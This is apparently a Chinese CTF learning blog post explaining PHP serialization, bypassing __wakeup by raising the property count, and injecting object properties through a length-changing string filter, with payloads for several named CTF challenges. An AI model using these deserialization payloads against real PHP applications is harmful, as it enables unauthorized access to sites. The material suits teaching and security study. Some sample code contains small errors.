序列化和反序列化及绕过
前言
本菜鸡本着菜死人不偿命的觉悟,接着迈向了ctf的世界。
废话不多说,今天来谈一下PHP的序列化和反序列化还有一些绕过姿势
序列化和反序列化
序列化
在PHP里面存在一个serialize
方法来实现序列化功能。
Serializable {
/* 方法 */
abstract public serialize ( ) : string
abstract public unserialize ( string $serialized ) : mixed
}
在官方说明中提供了这个接口的摘要。
接下来用本地实验的例子来说明一下序列化结果的大致格式
<?php
$init=12;
echo serialize($init).'<br />';//序列化整形数据,得到格式为i:12;
$string='test';
echo serialize($string).'<br />';//序列化字符串型数据,得到格式为s:4:"test";
$boolean=false;
echo serialize($boolean).'<br />';//序列化布尔类型数据,得到格式为b:0;
$array = array('0' =>'array');
echo serialize($array).'<br />';//序列化数组类型数据,得到格式为a:1:{i:0;s:5:"array";}
?>
所以,经过试验可以得出:
i
即integer
代表的是整型的数据
,其数据的范围
是-2147483648~2147483647
,而其后面跟的12就是这个变量的值;
s
即string
代表的是字符串类型
的数据,后面跟的4为变量的字符个数,之后跟的是变量的值;
b
即bool
代表的是布尔类型
的数据,而布尔类型的数据只有false
和true
两种,返回时只会返回0
和1
;
a
即array
代表的是数组类型的数据,可以看到有一个花括号,前面半部分是索引值,代表的是数组索引是从0开始,后面是当前索引位置的数据的类型和值。
关于其他的,就不在这里进行总结,总结几个比较常见的。
当然还有就是PHP语言特性,可以把整个方法或者整个类给序列化
,这时的格式就是O
开头了。
<?php
/*$init=12;
echo serialize($init).'<br />';
$string='test';
echo serialize($string).'<br />';
$boolean=false;
echo serialize($boolean).'<br />';
$array = array('0' =>'array');
echo serialize($array).'<br />';*/
/**
*
*/
class test
{
public $username;
public $password;
public function __construct($username,$password)
{
# code...
$this->username=$username;
$this->password=$password;
}
public function __wakeup()
{
if ($this->username==='zhangsan'&&this->$password==='123456') {
# code...
echo "flag{nice!}";
}
else
{
echo "stop hacker!";
}
}
}
$username='zhangsan';
$password='123456';
$a=new test($username,$password);
echo serialize($a);
?>
得到结果
反序列化
既然有了序列化函数serialize
,那反序列化函数就能猜出来是unserialize
。
在这里需要注意的是若被反序列化的变量是一个对象,在成功重新构造对象之后,PHP会自动地试图去调用__wakeup()成员函数(如果存在的话)
也就是说比如在上面的例子中,若加入
$b=serialize($a);
$test=unserialize($b);
那么就会得到
即在检测到这个反序列化对象是个类之后,发现有__wakeup()
函数,会执行这个函数。而在源码中是执行了让一个if判断,满足输出指定内容。在这里也可以进行一个修改序列化的值,从而达到相关的目的。
反序列化绕过
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,并且不会报错,可以被正常反序列化
也就是说,在实际题目中,可以通过修改指定的值使其大于原值,从而达到绕过的目的。
也就是说假如现在有一串这个代码。
<?php
class test
{
public $a='flag{nice!}';
public function __wakeup()
{
echo $this->a='go out,hacker!';
}
public function __destruct()
{
echo $this->a;
}
}
$a='O:4:"test":1:{s:1:"a";s:11:"flag{nice!}";}';
$b=unserialize($a);
?>
大致的题目意思就是有一个类,里面的变量a为flag字符串
,然后需要输出,但是在上面说的会调用wakeup函数
,导致无法输出flag字符串。即
但是现在需要输出它,所以就可以用上面说的方法来绕过wakeup
函数,即构造payload为a=O:4:"test":2:{s:1:"a";s:11:"flag{nice!}";}
此时输出为
从而达到了绕过的想法。
序列化利用
反序列化可以绕过,同样序列化也可以进行利用。
假如现在的代码为
<?php
class a
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
public function __wakeup()
{
if($this->username==='zhangsan')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('hahaha','heyheyhey',$string);
}
$username='lisi';
$password=$_GET[1];
$ser=filter(serialize(new a($username,$password)));
$test=unserialize($ser);
?>
通过源码知需要绕过wakeup函数里的if判断,然后执行语句,但是username变量值被写死,因此这时候就可以利用序列化进行操作。
首先对类进行序列化查看一下
发现本应该是hahaha
的变成了heyheyhey
然后构造一下payload的一部分:";s:8:"username";s:8:"zhangsan";}
共30个字符,然后字符替换是有3个字符,所以应该构造最终payload为:hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha";s:8:"username";s:8:"zhangsan";}
运行结果
发现username
值被成功改为zhangsan
。说明成功。
所以效果最终为:
注意:如果在本地实验中发现修改之后页面提示错误的,可以在源码里加一个函数
function mb_unserialize($serial_str) {
$out = preg_replace('!s:(\d+):"(.*?)";!se', "'s:'.strlen('$2').':\"$2\";'", $serial_str );
return unserialize($out);
}
是在报 unserialize(): Error at offset 124 of 181 bytes in
错误时可以尝试这个自建函数来进行实验。
ctf题目实例
攻防世界 unserialize3
打开题目,发现源码
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
所以,根据上面讲的,可以直接将flag字符串那一列进行序列化,然后修改值得到flag。
先序列化得到O:4:"xctf":1:{s:4:"flag";s:3:"111";}
,修改得O:4:"xctf":2:{s:4:"flag";s:3:"111";}
攻防世界 Web_php_unserialize
打开题目
同样,修改一下,进行序列化,然后O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
,然后修改得到O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
,这里注意还需要一次base64编码才能得到。
ctfshow 月饼杯第一题次夜圆
具体源码和上面那个序列化利用是一样的,也可以说上面的序列化利用中举的例子就是这个题目,按照上面得方法,构造最终payload为:?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
,提交得到flag。
尾言
还是经常说的那句话,自己总结的只是一些入门的东西,更加深刻得方面需要慢慢学习下去,努力下去,一切都有可能,加油。